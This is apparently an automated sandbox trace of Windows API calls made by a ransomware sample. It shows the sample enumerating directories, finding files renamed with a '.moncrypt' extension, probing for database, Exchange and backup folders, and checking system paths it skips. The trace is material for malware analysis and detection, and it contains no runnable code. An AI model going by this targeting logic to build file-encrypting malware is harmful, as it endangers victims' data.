[0052.036] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.036] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.036] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.036] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.036] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.036] GlobalUnlock (hMem=0x440004) returned 0 [0052.036] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.036] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.036] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.036] GlobalUnlock (hMem=0x440004) returned 0 [0052.036] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.036] GlobalUnlock (hMem=0x44000c) returned 0 [0052.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.036] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.036] GetLastError () returned 0x12 [0052.036] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.037] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0052.037] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.037] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.037] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.037] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.037] GlobalUnlock (hMem=0x44000c) returned 0 [0052.037] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.037] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.037] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.037] GlobalUnlock (hMem=0x44000c) returned 0 [0052.037] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.037] GlobalUnlock (hMem=0x440004) returned 0 [0052.037] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.037] GlobalLock (hMem=0x440004) returned 0x550170 [0052.037] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.037] GlobalUnlock (hMem=0x440004) returned 0 [0052.037] GlobalLock (hMem=0x440004) returned 0x550170 [0052.037] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.037] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.037] GlobalUnlock (hMem=0x440004) returned 0 [0052.037] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.037] GlobalUnlock (hMem=0x44000c) returned 0 [0052.037] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.037] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL") returned 1 [0052.038] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.038] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.038] GlobalUnlock (hMem=0x44000c) returned 0 [0052.038] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.038] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.038] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.038] GlobalUnlock (hMem=0x44000c) returned 0 [0052.038] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.038] GlobalUnlock (hMem=0x440004) returned 0 [0052.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夐U壤U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.039] GetLastError () returned 0x3 [0052.039] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.039] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0052.040] GetLastError () returned 0x2 [0052.040] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.040] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0052.040] GetLastError () returned 0x2 [0052.040] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0052.041] GetLastError () returned 0x2 [0052.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18뭼R\x18j")) returned 0xffffffff [0052.041] GetLastError () returned 0x2 [0052.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0052.042] GetLastError () returned 0x2 [0052.042] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0052.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0052.043] GetLastError () returned 0x2 [0052.043] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0052.043] GetLastError () returned 0x2 [0052.043] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0052.044] GetLastError () returned 0x2 [0052.044] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.044] GetLastError () returned 0x2 [0052.045] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0052.045] GetLastError () returned 0x2 [0052.045] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.045] GlobalLock (hMem=0x440004) returned 0x550170 [0052.045] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.045] GlobalUnlock (hMem=0x440004) returned 0 [0052.045] GlobalLock (hMem=0x440004) returned 0x550170 [0052.045] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.045] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.045] GlobalUnlock (hMem=0x440004) returned 0 [0052.045] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.045] GlobalUnlock (hMem=0x44000c) returned 0 [0052.046] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.046] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.046] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.046] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.046] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.046] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.046] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.046] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2a8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.047] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.047] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.047] GlobalUnlock (hMem=0x44000c) returned 0 [0052.047] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.047] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.047] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.047] GlobalUnlock (hMem=0x44000c) returned 0 [0052.047] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.047] GlobalUnlock (hMem=0x440004) returned 0 [0052.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | 